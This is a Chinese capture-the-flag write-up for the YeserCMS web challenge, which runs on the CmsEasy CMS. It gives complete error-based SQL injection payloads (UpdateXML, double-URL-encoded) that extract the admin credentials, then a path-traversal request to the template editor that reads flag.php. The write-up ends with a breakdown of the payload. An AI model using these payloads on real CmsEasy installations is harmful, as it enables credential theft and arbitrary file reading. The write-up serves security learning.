【“百度杯”CTF比赛 九月场 Web】YeserCMS
题目内容:新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
分值:50分 类型:Web
SQL注入、任意文件下载漏洞
点击文档下载,评论区看到cmseasy。
image.png
搜索cmseasy公开漏洞,可以查到许多通用漏洞。
https://www.seebug.org/appdir/CmsEasy
使用无限制报错注入
https://www.seebug.org/vuldb/ssvid-94084
celive/live/header.php
同时postdataxajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
用burpsuite抓包,发现postdata的数据被截断了,只显示xajax=Postdata&xajaxargs%5B0%5D=%3Cxjxquery%3E%3Cq%3Edetail
,send to repeater,将这一部分替换为detail参数的部分用urlencode编码2次的数据(只用编码detail参数,xajax=Postdata&xajaxargs[0]=<xjxquery><q>和</q></xjxquery>不变),即xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
,go,可以看到返回
XPATH syntax error: '[adminff512d4240cbbdeafada404677'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-08-13 15:52:38)','2')
得到用户名和密码adminff512d4240cbbdeafada404677
XPATH syntax error可以显示32位,其中[固定占以为。md5的长度也不够,还是需要调整1,32为7,39,来查看完整的md5
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252c(UpdateXML(1%252cCONCAT(0x5b%252csubstring((SELECT%252f**%252fGROUP_CONCAT(username%252cpassword)%2bfrom%2byesercms_user)%252c7%252c39)%252c0x5d)%252c1))%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL)--%2b</q></xjxquery>
repeater返回
XPATH syntax error: '[f512d4240cbbdeafada404677ccbe61'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),7,39),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-08-13 16:22:21)','2')
用户名admin,密码ff512d4240cbbdeafada404677ccbe61,md5解密为Yeser231。(抄个答案,http://www.cmd5.com/表示已查到,这是一条付费记录。请点击购买……)
登陆-管理-模版当前模版编辑-编辑,抓包,repeater,将&id=#ditu_html
改为&id=../../flag.php
,go,返回
{"content":"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana,宋体; font-size: 12px;\" name=\"..\/..\/flag.php_content\"><?php\necho 'flag is here';\n'flag{6a92aba5-a8f2-4147-ac14-79dc32fb5959}';\n<\/textarea>"}
得到flag。
关于无限制报错注入https://www.seebug.org/vuldb/ssvid-94084的分析
其中payload的引号内部分经过两次URLdecode后为
detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--
获取用户名|密码
xxxxxx'
闭合参数。
0x5b是十六进制,5b对应[,5d对应]。
concat(username,'|',password)
是username|password
GROUP_CONCAT(concat(username,'|',password))
是username|password,sername|password,……
SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user
其中/**/
是注释,/*+ 提示 */
来进行sql优化,如果写的HINTS语法错误,也就被忽略为注释了,sql并不会报错。Oracle Hints是一种机制,用来告诉优化器按照我们的告诉它的方式生成执行计划。从cmseasy_user中找出username和password。
mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32)
从第一个开始,选32个
为什么有两次URLdecode?因为有两次URLencode,一次是parse_str(aArray),这个函数,本身会对url编码进行一次decode;另一次是hackbar的postdata要编码,url为什么要编码。
参考
https://blog.csdn.net/qq_19876131/article/details/52432140
https://blog.csdn.net/qq_31481187/article/details/52602454
https://bbs.ichunqiu.com/thread-17629-1-1.html?from=hot6
http://www.bubuko.com/infodetail-2562477.html
网友评论